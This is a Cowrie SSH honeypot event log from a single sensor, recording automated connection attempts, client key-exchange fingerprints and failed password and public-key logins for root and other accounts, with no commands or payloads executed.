{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:20:33.255063Z","src_ip":"8.218.166.49","session":"6616dbe21b74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:20:33.258928Z","src_ip":"8.218.166.49","session":"6616dbe21b74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root123","message":"login attempt [root/root123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:20:34.922705Z","src_ip":"8.218.166.49","session":"6616dbe21b74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.8","message":"Connection lost after 7.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:20:36.219047Z","src_ip":"8.218.166.49","session":"6616dbe21b74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:20:46.862777Z","src_ip":"47.86.95.62","session":"de6c2d4c1901","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":33502,"dst_ip":"10.17.0.5","dst_port":22,"session":"651b1bcf53f8","protocol":"ssh","message":"New connection: 8.218.166.49:33502 (10.17.0.5:22) [session: 651b1bcf53f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:21:07.470499Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:21:07.476639Z","src_ip":"8.218.166.49","session":"651b1bcf53f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":33992,"dst_ip":"10.17.0.5","dst_port":22,"session":"cbfb19506cf2","protocol":"ssh","message":"New connection: 8.218.166.49:33992 (10.17.0.5:22) [session: cbfb19506cf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:21:16.996606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:21:17.002223Z","src_ip":"8.218.166.49","session":"cbfb19506cf2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.238","src_port":47690,"dst_ip":"159.203.135.109","dst_port":22,"session":"ccce59e9051d","protocol":"ssh","message":"New connection: 2.57.122.238:47690 (159.203.135.109:22) [session: ccce59e9051d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:21:22.831013Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:21:22.836240Z","src_ip":"2.57.122.238","session":"ccce59e9051d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:21:22.941942Z","src_ip":"2.57.122.238","session":"ccce59e9051d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solv","password":"123456","message":"login attempt [solv/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:21:23.257313Z","src_ip":"2.57.122.238","session":"ccce59e9051d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:21:24.364981Z","src_ip":"2.57.122.238","session":"ccce59e9051d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":40572,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb2c217ab6d5","protocol":"ssh","message":"New connection: 8.218.166.49:40572 (10.17.0.5:22) [session: fb2c217ab6d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:21:24.888575Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:21:24.894480Z","src_ip":"8.218.166.49","session":"fb2c217ab6d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":40596,"dst_ip":"10.17.0.5","dst_port":22,"session":"ce2e0bd013a3","protocol":"ssh","message":"New connection: 8.218.166.49:40596 (10.17.0.5:22) [session: ce2e0bd013a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:21:31.217838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:21:31.221770Z","src_ip":"8.218.166.49","session":"ce2e0bd013a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.110.221.82","src_port":26188,"dst_ip":"10.17.0.5","dst_port":22,"session":"86fd965567bc","protocol":"ssh","message":"New connection: 172.110.221.82:26188 (10.17.0.5:22) [session: 86fd965567bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:21:32.840413Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:21:32.848017Z","src_ip":"172.110.221.82","session":"86fd965567bc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:21:32.956066Z","src_ip":"172.110.221.82","session":"86fd965567bc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3f:78:9d:ba:99:ce:90:3b:31:6c:26:18:f4:6d:5b:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCKlVw2vH+JSrv5qMv7InLwqPqyW7YuaJAIv+0C3mLM+ICiaksz0RleQggLxj1iFodpy8yPB5v5r26bKhWXhYPakYUefwytOKs0u65x1crvdbQJPS1m3SliTlKcaQ9sSld2lfjSvX6+6+q8hQdH0Rwnni+AYWu9Xv3vsReLFB5lz9RBrmPOqgLLpivAbNtREKE6cMd9lqynvR0BlnJsNEpMFqi3FzsgS0w6Tj2M9BlnxjtEFgEp7CTlLl96gvaooSCRWoWEsjPD7uNmDg7jlxjJQ+Z+GNDigraAXvX0lrdsiCbJKy5/RAKuJYWLsJBNuAKzsSYmAFlejreXtKO8ViEh","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3f:78:9d:ba:99:ce:90:3b:31:6c:26:18:f4:6d:5b:6d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:21:33.454567Z","src_ip":"172.110.221.82","session":"86fd965567bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3f:78:9d:ba:99:ce:90:3b:31:6c:26:18:f4:6d:5b:6d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCKlVw2vH+JSrv5qMv7InLwqPqyW7YuaJAIv+0C3mLM+ICiaksz0RleQggLxj1iFodpy8yPB5v5r26bKhWXhYPakYUefwytOKs0u65x1crvdbQJPS1m3SliTlKcaQ9sSld2lfjSvX6+6+q8hQdH0Rwnni+AYWu9Xv3vsReLFB5lz9RBrmPOqgLLpivAbNtREKE6cMd9lqynvR0BlnJsNEpMFqi3FzsgS0w6Tj2M9BlnxjtEFgEp7CTlLl96gvaooSCRWoWEsjPD7uNmDg7jlxjJQ+Z+GNDigraAXvX0lrdsiCbJKy5/RAKuJYWLsJBNuAKzsSYmAFlejreXtKO8ViEh","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:21:33.458244Z","src_ip":"172.110.221.82","session":"86fd965567bc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"77:9a:34:00:b3:60:c4:72:a9:80:07:4a:ea:aa:cf:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCgQ16oIdgXAkIZ1R1SiZBitLt2GsbZRU1V/Vbggt3JDAm9B7N1gR/lf8wZGp4voRJOBVDOYB3S+gj0mn550Lv0sBGaCB/thAky7Rl8Pxi+4qjRHhYDFcWPQ+x/U2F/vh9wRlyBun9bMCQeGKlWxUmyjITmW7U/ESaL6qjz744UZuzeetURUtwEIXyr9GMDtnsQpUOlpnpnM6ul7UmYoJl7tzTfKH2HpE+5LbGHV0NQU3++cFiaZCkV884Kwuwu3Dj9EUPcwhrEnpXSBc0NQRYzya2PSprmMrBITB/3Umxkm/6h9ocvKyux+52RmbK0BS9IBRXAf/rvctFEkcUQsaxWMd1ljIZhu6wXswogob2abeNP/0/oG+Z6d1jaxyBulX1J4MxnVseTiNSttEz8MkV5TSbXXwL0Rljv/Q7XS1piodv+8Xfur3GPvn0xzAFn5nDIp/nw15qyNwk+lPY9U6tcyDcuNnU0hBpZ0Bvhs0iaIO0M5JSecwyeSsv2kfCLiCOqtVK+cb83Tf6FjOQOIaDlkWgvPGzK2Un/hlLt76EQaKgYdtZlfbnw9Z8AlYPVbkXybw2RcC1KxBQ5nN5TIfSi1ls4IJdqZVvLGRjd9Se61q+/ln0VJIPHVLpNZChfmWUZ0JNGpco1UyGZWIwBw1jYED7rOODaiGqlbmFUZdioDQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 77:9a:34:00:b3:60:c4:72:a9:80:07:4a:ea:aa:cf:82","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:21:33.562653Z","src_ip":"172.110.221.82","session":"86fd965567bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"77:9a:34:00:b3:60:c4:72:a9:80:07:4a:ea:aa:cf:82","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCgQ16oIdgXAkIZ1R1SiZBitLt2GsbZRU1V/Vbggt3JDAm9B7N1gR/lf8wZGp4voRJOBVDOYB3S+gj0mn550Lv0sBGaCB/thAky7Rl8Pxi+4qjRHhYDFcWPQ+x/U2F/vh9wRlyBun9bMCQeGKlWxUmyjITmW7U/ESaL6qjz744UZuzeetURUtwEIXyr9GMDtnsQpUOlpnpnM6ul7UmYoJl7tzTfKH2HpE+5LbGHV0NQU3++cFiaZCkV884Kwuwu3Dj9EUPcwhrEnpXSBc0NQRYzya2PSprmMrBITB/3Umxkm/6h9ocvKyux+52RmbK0BS9IBRXAf/rvctFEkcUQsaxWMd1ljIZhu6wXswogob2abeNP/0/oG+Z6d1jaxyBulX1J4MxnVseTiNSttEz8MkV5TSbXXwL0Rljv/Q7XS1piodv+8Xfur3GPvn0xzAFn5nDIp/nw15qyNwk+lPY9U6tcyDcuNnU0hBpZ0Bvhs0iaIO0M5JSecwyeSsv2kfCLiCOqtVK+cb83Tf6FjOQOIaDlkWgvPGzK2Un/hlLt76EQaKgYdtZlfbnw9Z8AlYPVbkXybw2RcC1KxBQ5nN5TIfSi1ls4IJdqZVvLGRjd9Se61q+/ln0VJIPHVLpNZChfmWUZ0JNGpco1UyGZWIwBw1jYED7rOODaiGqlbmFUZdioDQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:21:33.565904Z","src_ip":"172.110.221.82","session":"86fd965567bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":58892,"dst_ip":"10.17.0.5","dst_port":22,"session":"a9aa374ff417","protocol":"ssh","message":"New connection: 47.86.95.62:58892 (10.17.0.5:22) [session: a9aa374ff417]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:21:33.606305Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:21:33.613942Z","src_ip":"47.86.95.62","session":"a9aa374ff417","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"f5:18:e6:bf:36:18:26:bc:97:73:9f:53:18:82:c6:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEA2K7L959ge0YgAUxb7o/BWos3/FcBV4XTNMfBjOEAcPotDxCH/srqFsj4+TBDWDVE2PYXsPpTssmdTdU6gKX5LfsFNItT/bxBTLzDguUZkvZCanmdl9bs5UKmZoWvADGiPYknTYnGtKhyC+a6BG/C8tmQxJU93peN9ebDfxfDXwZevBZi4BH+PY4uxAGZL49zNCYImskaDB/+ntYxdPEzM7C9Xk46xz+rszMrBwrkf4Fon6XJmZAMc34RLUPaKgsnYsT9dCdnnZDMMWJ9IpGsRAr7ZcMePkPhnLiTccn7Q2kj/HlMAuoBh8nV7RQnwtY6IwDA8C3ZMs67kfAXuodi3zCvaZpwp4IGx78xxdtb81i1tPhwfUiAS2/emqQ3+RSUWMINdae8jhpOjGZqKVuYfx+FJikYZdgRQRbDgC7Js7JX/E0ySTIM6ii6jNx8c5lCprKa4dLbWl9N2yAPfjkCveW2eYpnE2NEYZBqEE/+MpP0nbrddtGdWAKT4/yhacOSRw2XzGQGeUd8V63NbIUqCbYeuBvKRdKuPzNX8f5q8ELon98hlglns8uWd13EHXq6tLETBsKK+6H54dykH+ACGx7ziG9dBWDOzSsx14ZWO5FVkqS7f9jVyc9hKxv2S+lEYhDX1dHUmZUA57/tBJ0zmBx/0UmDbU0UOYDoZgDHYQ0=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint f5:18:e6:bf:36:18:26:bc:97:73:9f:53:18:82:c6:4e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:21:33.669126Z","src_ip":"172.110.221.82","session":"86fd965567bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"f5:18:e6:bf:36:18:26:bc:97:73:9f:53:18:82:c6:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEA2K7L959ge0YgAUxb7o/BWos3/FcBV4XTNMfBjOEAcPotDxCH/srqFsj4+TBDWDVE2PYXsPpTssmdTdU6gKX5LfsFNItT/bxBTLzDguUZkvZCanmdl9bs5UKmZoWvADGiPYknTYnGtKhyC+a6BG/C8tmQxJU93peN9ebDfxfDXwZevBZi4BH+PY4uxAGZL49zNCYImskaDB/+ntYxdPEzM7C9Xk46xz+rszMrBwrkf4Fon6XJmZAMc34RLUPaKgsnYsT9dCdnnZDMMWJ9IpGsRAr7ZcMePkPhnLiTccn7Q2kj/HlMAuoBh8nV7RQnwtY6IwDA8C3ZMs67kfAXuodi3zCvaZpwp4IGx78xxdtb81i1tPhwfUiAS2/emqQ3+RSUWMINdae8jhpOjGZqKVuYfx+FJikYZdgRQRbDgC7Js7JX/E0ySTIM6ii6jNx8c5lCprKa4dLbWl9N2yAPfjkCveW2eYpnE2NEYZBqEE/+MpP0nbrddtGdWAKT4/yhacOSRw2XzGQGeUd8V63NbIUqCbYeuBvKRdKuPzNX8f5q8ELon98hlglns8uWd13EHXq6tLETBsKK+6H54dykH+ACGx7ziG9dBWDOzSsx14ZWO5FVkqS7f9jVyc9hKxv2S+lEYhDX1dHUmZUA57/tBJ0zmBx/0UmDbU0UOYDoZgDHYQ0=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:21:33.675385Z","src_ip":"172.110.221.82","session":"86fd965567bc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c3:26:e6:ce:1b:20:8c:b9:4f:de:6c:22:7c:08:d5:d0","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIiErlskTB4ic312LlqB2pHtvGXvOogzy1wKsLpesrrLPgrHS+RaANDkJNPqWP1tdCFfiuaO3DhN0dprykX2f6NJY+kxKwKKBp3uVc7YqyfNZCjvPEDQktd00KhxfVRlb8BhuLKh9v0qKhqZ+3FTjudE30Q15PDDviZtCumXq73TAAAAFQDfMZ2EdF/4wz+pdXY/QDivCuZMZwAAAIBfY4Wt529C6fGqhoex/i31ySi97pB9zy4XtzK1o6ED0g3FMR6IIDkuaqfHewOdcCvnWQ4Ty4Q33IoCrcJeYPUnVdtwSIqJoV2RbPyQsxTCJOl3XJU/UygIIBRTi0gaQnYDGeojtBtr12oNEvb8j2ASjCmEYQzEW9OOya0/31XuPwAAAIA5Xl0Ze8eENLS9sVw+JUVmFRX+Ek/GB1SL1aoO7zh1rTSvwk4GcCdSauwuOq1UMn2T/5P3BJP5j4siemGXLhUpxpESjV8uYGaOpYoxDGdDcgOY+pQiWj5cFSI0NAdspMPSv3Soup4Bo2Yjgu6G+oKe4T7k+f0nG+W+gOvIzx8qxA==","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint c3:26:e6:ce:1b:20:8c:b9:4f:de:6c:22:7c:08:d5:d0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:21:33.780688Z","src_ip":"172.110.221.82","session":"86fd965567bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c3:26:e6:ce:1b:20:8c:b9:4f:de:6c:22:7c:08:d5:d0","key":"ssh-dss AAAAB3NzaC1kc3MAAACBAIiErlskTB4ic312LlqB2pHtvGXvOogzy1wKsLpesrrLPgrHS+RaANDkJNPqWP1tdCFfiuaO3DhN0dprykX2f6NJY+kxKwKKBp3uVc7YqyfNZCjvPEDQktd00KhxfVRlb8BhuLKh9v0qKhqZ+3FTjudE30Q15PDDviZtCumXq73TAAAAFQDfMZ2EdF/4wz+pdXY/QDivCuZMZwAAAIBfY4Wt529C6fGqhoex/i31ySi97pB9zy4XtzK1o6ED0g3FMR6IIDkuaqfHewOdcCvnWQ4Ty4Q33IoCrcJeYPUnVdtwSIqJoV2RbPyQsxTCJOl3XJU/UygIIBRTi0gaQnYDGeojtBtr12oNEvb8j2ASjCmEYQzEW9OOya0/31XuPwAAAIA5Xl0Ze8eENLS9sVw+JUVmFRX+Ek/GB1SL1aoO7zh1rTSvwk4GcCdSauwuOq1UMn2T/5P3BJP5j4siemGXLhUpxpESjV8uYGaOpYoxDGdDcgOY+pQiWj5cFSI0NAdspMPSv3Soup4Bo2Yjgu6G+oKe4T7k+f0nG+W+gOvIzx8qxA==","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:21:33.784630Z","src_ip":"172.110.221.82","session":"86fd965567bc","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:05:15:44:f4:8f:9a:6e:83:31:e2:dc:82:fa:e8:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAruagEI6o3b8NFW9buEHt3dF0SoelIPUsI0eH3VhKt6FTTlyEIkvbf+YgxwZyb7WuTzM+/spPI9kh5oHZ/DbxaEEMRfbk7NKLbtxUYJhRS93aPfxmjNv91EkOkxQalZ5QGq/qDNP4+umqaSZwwwn4rLn4nMgQ+jklRTjQweEO71IcmGCjp/prnEPsZ84HEFmyd2YVAuVKGGJKHhprW75LYaZPjJSL4EOAgVJf42VSc5Jkli9WLjV/FohAHsiFpS7kXo3m/YwYIYsRimsK6g6DeXfMvqNywDEsJOl/TrSvsX7XOL7edQGFfQUFno/+owT4i/iF5BTlg+k5hqkf/7h7WQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 32:05:15:44:f4:8f:9a:6e:83:31:e2:dc:82:fa:e8:c5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:21:33.889404Z","src_ip":"172.110.221.82","session":"86fd965567bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:05:15:44:f4:8f:9a:6e:83:31:e2:dc:82:fa:e8:c5","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAruagEI6o3b8NFW9buEHt3dF0SoelIPUsI0eH3VhKt6FTTlyEIkvbf+YgxwZyb7WuTzM+/spPI9kh5oHZ/DbxaEEMRfbk7NKLbtxUYJhRS93aPfxmjNv91EkOkxQalZ5QGq/qDNP4+umqaSZwwwn4rLn4nMgQ+jklRTjQweEO71IcmGCjp/prnEPsZ84HEFmyd2YVAuVKGGJKHhprW75LYaZPjJSL4EOAgVJf42VSc5Jkli9WLjV/FohAHsiFpS7kXo3m/YwYIYsRimsK6g6DeXfMvqNywDEsJOl/TrSvsX7XOL7edQGFfQUFno/+owT4i/iF5BTlg+k5hqkf/7h7WQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:21:33.893475Z","src_ip":"172.110.221.82","session":"86fd965567bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:21:33.998118Z","src_ip":"172.110.221.82","session":"86fd965567bc","protocol":"ssh"}
